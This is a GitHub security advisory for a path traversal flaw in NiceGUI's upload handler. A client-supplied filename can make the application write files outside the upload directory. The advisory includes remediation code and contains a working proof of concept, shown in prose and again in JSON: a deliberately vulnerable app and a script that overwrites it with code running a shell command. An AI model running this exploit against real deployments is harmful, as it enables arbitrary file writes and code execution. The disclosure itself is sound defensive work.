GHSA-9FFM-FXG3-XRHH

Vulnerability from github – Published: 2026-02-05 21:08 – Updated: 2026-06-06 14:45
VLAI
Summary
NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write
Details

Summary

NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.

Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.

Details

Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)

Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()

async def save(self, path: str | Path) -> None:
    target = Path(path)
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Root Cause: The save() method performs no validation on the provided path parameter. It accepts: - Relative paths with ../ sequences - Absolute paths - Any file system location writable by the process

When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:

save_path = UPLOAD_DIR / e.file.name  # e.file.name = "../app.py"
await e.file.save(save_path)           # Writes outside UPLOAD_DIR

PoC

  • Terminal 1 (App)
cd /tmp && mkdir -p evilgui && cd evilgui
python3 -m venv evilgui && source evilgui/bin/activate
pip install nicegui

cat > vulnerable_app.py << 'EOF'
from nicegui import ui
from pathlib import Path

UPLOAD_DIR = Path('./uploads')
UPLOAD_DIR.mkdir(exist_ok=True)

@ui.page('/')
def index():
    async def handle_upload(e):
        save_path = UPLOAD_DIR / e.file.name
        await e.file.save(save_path)
        ui.notify(f'File saved: {e.file.name}')

    ui.upload(on_upload=handle_upload, auto_upload=True)

ui.run(port=8080, reload=False)
EOF

python3 vulnerable_app.py &
  • Terminal 2 (Exploit)
cat > exploit.py << 'EOF'
import requests, re, time

s = requests.Session()
s.get('http://localhost:8080')
time.sleep(2)

html = s.get('http://localhost:8080').text
match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'

payload = '''from nicegui import ui
import subprocess
@ui.page("/")
def index():
    ui.label(subprocess.check_output(["id"], text=True))
ui.run(port=8080, reload=False)
'''

s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})
EOF

python3 exploit.py
  • Restart the application to execute the injected code:
pkill -f vulnerable_app && python3 vulnerable_app.py
  • Observe http://localhost:8080

Impact

Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.

Attack Capabilities: - Write files to any location writable by the application process - Overwrite Python application files to achieve remote code execution upon restart - Overwrite configuration files to alter application behavior - Write SSH keys, systemd units, or cron jobs for persistent access - Deny service by corrupting critical files

Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use e.file.name directly, following patterns shown in community examples.

Remediation

For Users

async def handle_upload(e):
    safe_name = Path(e.file.name).name # Strip directory components!
    await e.file.save(UPLOAD_DIR / safe_name)

For Maintainers

```py async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None: target = Path(path).resolve()

if base_dir is not None:
    base_dir = base_dir.resolve()
    if not target.is_relative_to(base_dir):
        raise ValueError(
            f"Path '{target}' escapes base directory '{base_dir}'"
        )

target.parent.mkdir(parents=True, exist_ok=True)
await run.io_bound(target.write_bytes, self._data)

````

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nicegui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25732"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:08:53Z",
    "nvd_published_at": "2026-02-06T22:16:11Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nNiceGUI\u0027s `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.\n\n**Note**: Exploitation requires application code incorporating `file.name` into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.\n\n### Details\n**Vulnerable Component**: `nicegui/elements/upload_files.py` ([upload_files.py#L79-L82](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82) and [upload_files.py#L110-L115](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115))\n\n**Affected Methods**: `SmallFileUpload.save()`and `LargeFileUpload.save()`\n\n```py\nasync def save(self, path: str | Path) -\u003e None:\n    target = Path(path)\n    target.parent.mkdir(parents=True, exist_ok=True)\n    await run.io_bound(target.write_bytes, self._data)\n```\n\n**Root Cause**: The `save()` method performs no validation on the provided path parameter. It accepts:\n- Relative paths with `../` sequences\n- Absolute paths\n- Any file system location writable by the process\n\nWhen developers use `e.file.name` (controlled by the attacker) in constructing save paths, directory traversal occurs:\n```py\nsave_path = UPLOAD_DIR / e.file.name  # e.file.name = \"../app.py\"\nawait e.file.save(save_path)           # Writes outside UPLOAD_DIR\n```\n\n### PoC\n- Terminal 1 (App)\n```bash\ncd /tmp \u0026\u0026 mkdir -p evilgui \u0026\u0026 cd evilgui\npython3 -m venv evilgui \u0026\u0026 source evilgui/bin/activate\npip install nicegui\n\ncat \u003e vulnerable_app.py \u003c\u003c \u0027EOF\u0027\nfrom nicegui import ui\nfrom pathlib import Path\n\nUPLOAD_DIR = Path(\u0027./uploads\u0027)\nUPLOAD_DIR.mkdir(exist_ok=True)\n\n@ui.page(\u0027/\u0027)\ndef index():\n    async def handle_upload(e):\n        save_path = UPLOAD_DIR / e.file.name\n        await e.file.save(save_path)\n        ui.notify(f\u0027File saved: {e.file.name}\u0027)\n    \n    ui.upload(on_upload=handle_upload, auto_upload=True)\n\nui.run(port=8080, reload=False)\nEOF\n\npython3 vulnerable_app.py \u0026\n```\n\n- Terminal 2 (Exploit)\n```bash\ncat \u003e exploit.py \u003c\u003c \u0027EOF\u0027\nimport requests, re, time\n\ns = requests.Session()\ns.get(\u0027http://localhost:8080\u0027)\ntime.sleep(2)\n\nhtml = s.get(\u0027http://localhost:8080\u0027).text\nmatch = re.search(r\u0027/_nicegui/client/([^/]+)/upload/(\\d+)\u0027, html)\nupload_url = f\u0027http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}\u0027\n\npayload = \u0027\u0027\u0027from nicegui import ui\nimport subprocess\n@ui.page(\"/\")\ndef index():\n    ui.label(subprocess.check_output([\"id\"], text=True))\nui.run(port=8080, reload=False)\n\u0027\u0027\u0027\n\ns.post(upload_url, files={\u0027file\u0027: (\u0027../vulnerable_app.py\u0027, payload, \u0027text/x-python\u0027)})\nEOF\n\npython3 exploit.py\n```\n- Restart the application to execute the injected code:\n```\npkill -f vulnerable_app \u0026\u0026 python3 vulnerable_app.py\n```\n- Observe http://localhost:8080\n\n### Impact\n**Affected Applications**: All NiceGUI applications using `ui.upload()` where developers save files with `e.file.save()` and include user-controlled filenames (e.g., `e.file.name`) in the path.\n\n**Attack Capabilities**:\n- Write files to any location writable by the application process\n- Overwrite Python application files to achieve remote code execution upon restart\n- Overwrite configuration files to alter application behavior\n- Write SSH keys, systemd units, or cron jobs for persistent access\n- Deny service by corrupting critical files\n\n**Exploitability**: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like `../../../app.py` to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use `e.file.name` directly, following patterns shown in community examples.\n\n### Remediation\n#### For Users\n```py\nasync def handle_upload(e):\n    safe_name = Path(e.file.name).name # Strip directory components!\n    await e.file.save(UPLOAD_DIR / safe_name)\n```\n\n#### For Maintainers\n```py\nasync def save(self, path: str | Path, *, base_dir: Path | None = None) -\u003e None:\n    target = Path(path).resolve()\n    \n    if base_dir is not None:\n        base_dir = base_dir.resolve()\n        if not target.is_relative_to(base_dir):\n            raise ValueError(\n                f\"Path \u0027{target}\u0027 escapes base directory \u0027{base_dir}\u0027\"\n            )\n    \n    target.parent.mkdir(parents=True, exist_ok=True)\n    await run.io_bound(target.write_bytes, self._data)\n````",
  "id": "GHSA-9ffm-fxg3-xrhh",
  "modified": "2026-06-06T14:45:40Z",
  "published": "2026-02-05T21:08:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-9ffm-fxg3-xrhh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25732"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nicegui/PYSEC-2026-95.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zauberzeug/nicegui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NiceGUI\u0027s Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write"
}



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